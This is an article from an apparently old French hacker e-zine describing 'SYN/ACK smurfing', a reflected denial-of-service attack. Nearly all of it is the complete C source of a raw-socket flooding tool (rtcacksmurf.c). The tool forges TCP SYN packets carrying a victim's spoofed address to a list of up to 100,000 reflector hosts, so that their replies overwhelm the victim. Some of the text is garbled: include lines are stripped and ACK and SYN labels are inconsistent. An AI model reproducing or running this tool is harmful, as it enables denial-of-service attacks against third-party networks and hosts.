/////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// Le SYN/ACK smurfing /////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// Tout le monde connais le smurfing (expliqué par SLy dans le mag 1), son principe est simple : on envoie des paquet ping à une liste de machine qui vont répondre un paquet pong à la cible. Le SYN-Flooding est également très connu : on envoie énormément de demande de connexion (paquet SYN) à la cible qui sera débordé par le nombre de réponse à donner. Un autre DoS peut-être utilisé. Il repose sur le principe du smurf mais en changeant le type de paquet : on demande des connexions (paquet SYN) à la liste de machine qui vont répondre par OUI ou NON (paquet ACK ou RST). La cible sera alors déborder par le nombre de réponse à donner comme quoi il n'a pas demander de connexion... Pour la mise en oeuvre, il faut une liste de machine de préférence ayant toutes le même port d'ouvert puis il faut envoyer un ou plusieurs paquet ACK à ces machines. La raison pour laquelle il faut que les machines de la liste aient toutes le même port ouvert est la réponse ACK qui du côté de la victime provoquera une réponse RST : ainsi la victime sera débordé par le nombre de réponses à gérer. Voilà le code qui fait ca : <-- begin rtcsynsmurf.c --> <-- cut here --> /****************************************************************************** * rtcacksmurf.c by SLy and S/asH (members of RtC) * * ACK Smurfing * * to make : gcc rtcacksmurf.c -o rtcacksmurf * * This is a tOOl of RtC TecH * ******************************************************************************/ #define _BSD_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include /*#define DEBUGGING /****************************************************************************** * Function HEXDUMP for debugging * * No comment * ******************************************************************************/ #ifdef DEBUGGING void HEXDUMP(unsigned len, unsigned char *buf) { unsigned i; for(i=0; i 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } /****************************************************************************** * Function tcp_send * * send a customized TCP Header * * Input : socket : socket to write * * address : destination address * * s_addr, t_addr : source and destination address for checksum * * s_port, t_port : source and dest port * * tcpflags : flags of tcp header * * seq : sequence number * * ack : ack number * * win : window size * * datagram : data to send in tcp packet * * datasize : size of datagram * * Output : tcp_send : result of send * ******************************************************************************/ inline int tcp_send(int socket, struct sockaddr_in *address, unsigned long s_addr, unsigned long t_addr, unsigned s_port, unsigned t_port, unsigned char tcpflags, unsigned long seq, unsigned long ack, unsigned win, char *datagram, unsigned datasize) { struct pseudohdr { u_int32_t saddr; u_int32_t daddr; u_int8_t useless; u_int8_t protocol; u_int16_t tcplength; }; unsigned char packet[2048]; struct iphdr *ip = (struct iphdr *)(packet); struct pseudohdr *pseudo = (struct pseudohdr *)(packet+sizeof(struct iphdr)-sizeof(struct pseudohdr)); struct tcphdr *tcp = (struct tcphdr *)(packet+sizeof(struct iphdr)); unsigned char *data = (unsigned char *)(packet+sizeof(struct tcphdr)+sizeof(struct iphdr)); /* * The above casts will save us a lot of memcpy's later. * The pseudo-header makes this way become easier than a union. */ memcpy(data,datagram,datasize); memset(packet,0,sizeof(struct iphdr)+sizeof(struct tcphdr)); /* The data is in place, all headers are zeroed. */ tcp->th_sport = htons(s_port); tcp->th_dport = htons(t_port); tcp->th_off = 5; /* 20 bytes, (no options) */ tcp->th_flags = tcpflags; tcp->th_seq = htonl(seq); tcp->th_ack = htonl(ack); tcp->th_win = htons(win); /* we don't need any bigger, I guess. */ /* pseudo header for cheksum */ pseudo->saddr = s_addr; pseudo->daddr = t_addr; pseudo->protocol = IPPROTO_TCP; pseudo->tcplength = htons(sizeof(struct tcphdr)+datasize); /* The necessary TCP header fields are set. */ tcp->th_sum = in_cksum((u_short*)pseudo, sizeof(struct tcphdr)+sizeof(struct pseudohdr)+datasize); /* Make the ip header */ memset(packet, 0, sizeof(struct iphdr)); ip->saddr = s_addr; ip->daddr = t_addr; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->id = random()%1996; ip->protocol = IPPROTO_TCP; /* should be 6 */ ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datasize); ip->check = in_cksum((char *)packet,sizeof(struct iphdr)); #ifdef DEBUGGING printf("Packet ready. Dump: \n"); #ifdef DEBUGGING_DATA HEXDUMP(sizeof(struct iphdr)+sizeof(struct tcphdr)+datasize,packet); #else HEXDUMP(sizeof(struct iphdr)+sizeof(struct tcphdr),packet); #endif printf("\n"); #endif return sendto(socket, packet, sizeof(struct iphdr)+sizeof(struct tcphdr)+datasize, 0, (struct sockaddr *)address, sizeof(struct sockaddr)); /* And off into the raw socket it goes. */ } /****************************************************************************** * Function resolve - resolve an host name * * Input : name : host name * * Output : resolve : in_addr struct for hostname * ******************************************************************************/ struct in_addr resolve(char *name) { struct hostent *ent; struct in_addr in; if (!(ent=gethostbyname(name))) { in.s_addr=INADDR_NONE; return in; } return *(struct in_addr *)ent->h_addr; } /****************************************************************************** * Function send_ack - send a ack packet on a host * * Input : sock : raw socket * * from, dest : sender and destinator * * fport, dport : ports * ******************************************************************************/ void send_ack(int sock, struct sockaddr_in from, struct sockaddr_in dest, long fport, long dport) { fd_set rset; dest.sin_port = htons(dport); FD_ZERO(&rset); FD_SET(sock, &rset); /* sending a SYN packet */ tcp_send(sock,&dest, from.sin_addr.s_addr,dest.sin_addr.s_addr, fport,dport, TH_SYN, lrand48()+1, lrand48(), 512, NULL, 0); } /****************************************************************************** * Function smurf : send an ack packet to each host in destlist * * Input : from : target to smurf * * destlist : broadcast list * * fport, dport : ports for smurfing * * delay : delay between two sending * ******************************************************************************/ void smurf(struct sockaddr_in from, struct sockaddr_in *destlist, long fport, long dport, int delay) { int sock, rc; sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&rc, sizeof(rc))<0) /* set the socket for making ourselves our ip header */ { fprintf(stderr, "error : couldn't write ip header.\n"); exit(-1); } for(rc=0; destlist[rc].sin_addr.s_addr != INADDR_NONE; rc++) { send_ack(sock, from, destlist[rc], fport, dport); usleep(delay); } close(sock); } /* function for printing syntax string */ void argument(void) { fprintf(stderr, syntaxstr); exit(0); } /* Now, the main procedure*/ int main (int argc, char *argv[]) { struct sockaddr_in target; FILE *bcastfile; long fromport, destport; int i, delay, packetnb; char buf[256]; struct sockaddr_in *bcastlist; /* print for prosterity */ printf(verstr); /* argument test */ if ((argc < 5) || (argc > 7)) argument(); /* argument parsing */ destport = atoi(argv[2]); fromport = atoi(argv[3]); packetnb = argc>5 ? atoi(argv[5]) : 1; delay = argc==7 ? atoi(argv[6]) : 100; bcastfile = fopen(argv[4], "r"); if(!bcastfile) { fprintf(stderr, "Cannot open file %s\n", argv[4]); return -5; } /* Name resolving */ printf("Resolving target name...\n"); target.sin_family = AF_INET; target.sin_addr = resolve(argv[1]); if(target.sin_addr.s_addr==INADDR_NONE) { fprintf(stderr, "Cannot resolve %s\n", argv[1]); return -1; } printf("Target is %s (%s)\n", argv[1], inet_ntoa(target.sin_addr)); /* Resolving the hosts in the broadcast list */ printf("Resolving broadcast list...\n"); bcastlist = (struct sockaddr_in*)malloc(sizeof(struct sockaddr_in)*100000); /* get 100 000 field */ if(!bcastlist) { fprintf(stderr, "error : not enough memory\n"); return -2; } printf("Added "); for(i=0; !feof(bcastfile) && (i<100000); i++) { fgets(buf, 256, bcastfile); if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1] = 0; bcastlist[i].sin_family = AF_INET; bcastlist[i].sin_addr = resolve(buf); if(bcastlist[i].sin_addr.s_addr==INADDR_NONE) i--; else printf("%s (%s); ", buf, inet_ntoa(bcastlist[i].sin_addr)); } fclose(bcastfile); /* Smurfing turn */ printf("\nFlooding... "); while(packetnb--) { printf("%d... ", packetnb); smurf(target, bcastlist, fromport, destport, delay); } printf("done.\n"); return 0; } <-- cut here --> <-- end rtcsynsmurf.c --> <-- File by S/asH --> [EOF]